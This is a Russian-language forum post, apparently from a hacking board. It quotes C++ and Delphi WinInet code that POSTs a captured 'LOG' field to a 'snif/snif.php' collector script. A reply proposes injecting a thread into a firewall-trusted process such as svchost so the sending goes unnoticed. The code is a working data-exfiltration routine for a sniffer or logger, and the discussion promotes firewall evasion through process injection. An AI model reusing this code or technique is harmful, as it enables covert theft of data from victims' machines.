|
Новичок
Регистрация: 12.01.2007
Сообщений: 22
С нами:
10172416
Репутация:
14
|
|
Сообщение от VaV
Представлю на ваш суд пару реализаций
Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!
//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");
//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFA ULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,0) ;
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));
//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
реализация на Delphi:
//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;
//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));
// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..
Последний раз редактировалось darkf0x; 18.01.2007 в 12:32..
|